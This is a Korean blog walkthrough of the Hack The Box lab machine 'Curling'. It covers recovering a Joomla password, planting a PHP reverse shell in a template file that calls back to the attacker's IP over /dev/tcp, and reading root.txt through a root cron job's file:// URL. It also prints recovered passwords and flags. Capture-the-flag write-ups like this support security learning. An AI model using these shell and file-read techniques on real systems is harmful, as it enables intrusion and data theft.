티스토리 뷰

728x90
반응형

결론 : user.txt와 root.txt 모두 획득에 성공했습니다.

 

C:\>nmap -sT 10.10.10.150
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 01:00 ´eCN¹I±¹ C¥AؽA
Nmap scan report for 10.10.10.150
Host is up (0.077s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 53.19 seconds

우선 nmap 결과는 위와 같은데 ssh 접속은 아이디와 비밀번호를 몰라서 일단 패스했습니다. 그래서 웹사이트를 먼저 점검했습니다.

 

10.10.10.150 주소로 들어가면 아래 웹사이트가 나옵니다. 일단 로그인을 해봐야겠다 싶었습니다.

 

Forgot your username 이나 Forgot your password 는 최후의 보루로 미뤘습니다. (왜냐하면 예전에 비밀번호 초기화 되어버리는 상황이 발생했어서 문제를 못푼 적이 있었기 때문입니다) 그래서 일단 소스코드부터 봤습니다.

보니깐 하단에 secret.txt 가 있었습니다.

의심스러워서 /secret.txt 를 열어보았습니다.

뭔가 싶어서 base64 디코딩을 해보았습니다.

atob("Q3VybGluZzIwMTgh");
"Curling2018!"

뭔가 비밀번호스러운 게 나왔습니다.

아이디는 Super User, admin, administrator, 다 해봤지만 안됐습니다.

그러던 중 비밀번호의 Curling2018 내용이 담긴 게시글을 보았습니다.

하단에 Floris 라고 되어 있길래 아이디로 입력해보았고 로그인이 됐습니다. (동시에 bruteforce 도 돌려보았었고, floris 를 찾았었습니다.)

 

로그인은 했는데, 별다를 바가 없어서 한참 헤매다가 이상한 걸 발견했습니다. 아래는 메인페이지 소스코드의 head 부분인데, 여러 css, javascript 파일들이 나열되어 있었는데, /media/system 이란 것에 디렉토리 리스팅이 되는 걸 알았습니다.

그러던 중에 그 <script>태그들 중에서 아래와 같은 script 가 있었습니다.

<script type="application/json" class="joomla-script-options new">{"csrf.token":"7e8c06d1378c831b6d2c7561095baa89","system.paths":{"root":"","base":""},"system.keepalive":{"interval":840000,"uri":"\/index.php\/component\/ajax\/?format=json"}}</script>

뭔가 싶어서 들어가봤는데 별다른 게 없었습니다.

그래서 여기도 디렉토리 리스팅이 될까 싶어서 ?format=json 을 지워보았는데 아래와 같이 나왔습니다.

오류 메시지가 나왔는데 아래와 같습니다.

InvalidArgumentException: Please specify a valid response format, other than that of HTML, such as json, raw, debug, etc.

그리고 위 메시지를 구글에 쳐봤고, 제일 처음에 나오는 사이트를 눌러서 들어가보니 아래와 같은 내용이 나옵니다. (

JoomDev: (SOLVED)InvalidArgumentException: Please specify a valid response... (1/1) )

In administration, once i click on .. 어쩌구 라고 되어 있는데, 여기서는 희한하게 관리자 페이지에서 Extensions → Templates → jd_bizx - Default → Template Options 메뉴를 차례로 눌렀더니 그런 오류가 났다고 설명하고 있습니다. 그래서 저는 여기서 jumla 는 어떤 프레임워크이고, 그 프레임워크에서는 관리자 페이지라는 게 따로 정형화되어 존재하고 있음을 알았습니다.

 

그래서 구글링으로 joomla administrator 이라고 치니깐 joomla 의 documentation 이 나왔고 아래 링크에서 관리자 페이지 접속방법을 설명하고 있습니다.

Administrator (Application) - Joomla! Documentation

URL 주소에 그냥 /administrator 만 붙이면 된다고 설명하고 있습니다. 접속하면 아래와 같이 생겼습니다.

기존의 아이디(floris)와 비밀번호(Curling2018!)를 사용해서 접속했습니다. 처음에는 파일 업로드 취약점부터 찾았습니다.

그리고 위 Media라는 걸 찾았는데, 여기서 php 파일을 업로드 가능하도록 설정을 바꿀 수 있는데, 그렇게 해도 위험한 파일이라고 업로드가 되지 않았습니다. 그래서 찾다가 찾다가 희한한 걸 찾았는데, 아래와 같습니다.

위 페이지는 웹사이트의 템플릿을 수정할 수 있는 기능이었습니다. 페이지의 소스코드를 직접 파일을 가져다가 수정할 수 있을 뿐만 아니라 New File 버튼을 눌러서 새로운 파일을 만들고 그 파일의 내용을 PHP 언어로 작성도 할 수 있었습니다. 참고로 템플릿은 총 2개가 있었는데, 웹페이지의 메인페이지의 소스코드를 보면 css template이 protostar이라고 되어 있는 걸보면, 현재 protostar이라는 템플릿이 적용되어 있는 걸 알 수 있습니다. 그래서 protostar의 페이지를 수정하거나 추가해서 사용하면 된다는 걸 알았습니다.

exploit.php 라는 파일을 만들었고, 내용은 아래와 같습니다. PHP reverse shell 내용입니다.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.28/1234 0>&1'");?>

 

위와 같이 파일을 만들어서 백도어를 만들면 끝입니다. 방금 만든 파일을 엑세스할 수 있는 방법은 아까 메인페이지에서 protostar 라는 템플릿의 URL 경로를 사용하면 됩니다.

http://10.10.10.150/templates/protostar/css/template.css

위 파일과 Template Manager 에서 본 /css/template.css 파일과 동일한 걸 알기 때문에 방금 만든 파일인 exploit.php 의 위치는 아래와 같음을 짐작할 수 있습니다.

http://10.10.10.150/templates/protostar/exploit.php

접속하기 전에 nc 로 대기탄 다음에 접속하게 되면 아래와 같이 접속됩니다.

C:\>nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.150] 60542
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
www-data@curling:/var/www/html/templates/protostar$ 

그리고 user.txt 를 출력할려고 하니깐 permission error가 떴습니다.

www-data@curling:/var/www/html/templates/protostar$ cd /home
cd /homels
www-data@curling:/home$ ls
floris
www-data@curling:/home$ cd floris
cd floris
www-data@curling:/home/floris$ ls
ls
admin-area
password_backup
user.txt
www-data@curling:/home/floris$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

뭔가 싶어서 보니깐 password_backup이라는 게 있었습니다.

www-data@curling:/home/floris$ cat password_backup
cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

magic number가 뭔가 싶어서 봤더니 zip 파일이었고, 풀어서 보니 또 압축파일이었고, 다시 풀고 풀어서 마지막의 파일의 내용은 아래와 같았습니다.

제일 아래에 나온 게 비밀번호다 싶었다.

"5d<wdCbdZu)|hChXll"

이제 드디어 ssh 접속을 해볼 땐가 싶었습니다. 그리고 접속에 성공했고, user.txt 플래그는 잘 나왔습니다.

login as: floris
floris@10.10.10.150's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun May 16 19:02:04 UTC 2021

  System load:  0.0               Processes:            165
  Usage of /:   46.2% of 9.78GB   Users logged in:      0
  Memory usage: 21%               IP address for ens33: 10.10.10.150
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Mon May 28 17:00:48 2018 from 192.168.1.71
floris@curling:~$ pwd
/home/floris
floris@curling:~$ cat user.txt
65dd1df0713b40d88ead98cf11b8530b

문제는 root.txt인데, floris 권한으로는 root 디렉토리를 접근할 수 없었습니다.

floris@curling:/$ ls
bin   home            lib64       opt   sbin      sys  vmlinuz
boot  initrd.img      lost+found  proc  snap      tmp  vmlinuz.old
dev   initrd.img.old  media       root  srv       usr
etc   lib             mnt         run   swap.img  var
floris@curling:/$ cd root
-bash: cd: root: Permission denied

그렇게 한동안 해메다가 admin-area 라는 디렉토리가 수상해보였습니다.

floris@curling:~$ ls
admin-area  password_backup  user.txt
floris@curling:~/admin-area$ ls -al
total 28
drwxr-x--- 2 root   floris  4096 May 22  2018 .
drwxr-xr-x 6 floris floris  4096 May 22  2018 ..
-rw-rw---- 1 root   floris    25 May 16 19:04 input
-rw-rw---- 1 root   floris 14236 May 16 19:04 report
floris@curling:~/admin-area$ ls -al
total 28
drwxr-x--- 2 root   floris  4096 May 22  2018 .
drwxr-xr-x 6 floris floris  4096 May 22  2018 ..
-rw-rw---- 1 root   floris    25 May 16 19:06 input
-rw-rw---- 1 root   floris 14236 May 16 19:06 report

input과 report 파일의 수정날짜가 방금 전이었습니다. 그래서 계속 ls -al 을 해봤고, 파일을 수정하고 나서도 ls -al 을 해봤을 때, 파일이 일정 시간 단위(1분인가 2분인가)로 덮어쓰기 됨을 알 수 있었습니다.

 

그리고 input 에 작성되어 있는 url 의 response 값이 report 파일에 들어가는 것으로 짐작했고, 아래와 같은 실험을 추가로 해보았습니다.

이전에 백도어로 사용했던 파일 내용을 hello로 변경한 뒤에 input 파일 내용을 아래와 같이 수정했고, 1분 뒤에 report 내용이 어떻게 변하는 지 확인해보았습니다.

url = "http://127.0.0.1/templates/protostar/exploit.php"
floris@curling:~/admin-area$ ls -al
total 16
drwxr-x--- 2 root   floris 4096 May 22  2018 .
drwxr-xr-x 6 floris floris 4096 May 16 19:11 ..
-rw-rw---- 1 root   floris   57 May 16 19:11 input
-rw-rw---- 1 root   floris    5 May 16 19:12 report
floris@curling:~/admin-area$ cat report
hello

결국 input 에 입력된 url로 몇 분마다 request가 가고, 그에 대한 response 내용이 report 파일에 씌어진다는 걸 알 수 있었습니다. 그래서 바로 http 가 아닌 file 프로토콜도 가능하지 않을까 생각됐고, 아래와 같이 입력해보았습니다.

url = "file:///root/.bashrc"
floris@curling:~/admin-area$ cat report
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

...중략...

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi

잘 나오는 걸 봤고, 혹시나 해서 /root/root.txt 도 출력해봤습니다.

url = "file:///root/root.txt"
floris@curling:~/admin-area$ cat report
82c198ab6fc5365fdc6da2ee5c26064a

이렇게 해서 root.txt 도 잘 나오는 걸 봤습니다. 근데 약간 편법인 것 같았습니다. 정확히 root shell 을 딴 거라고 보기는 어려울 것 같습니다.

728x90
반응형
댓글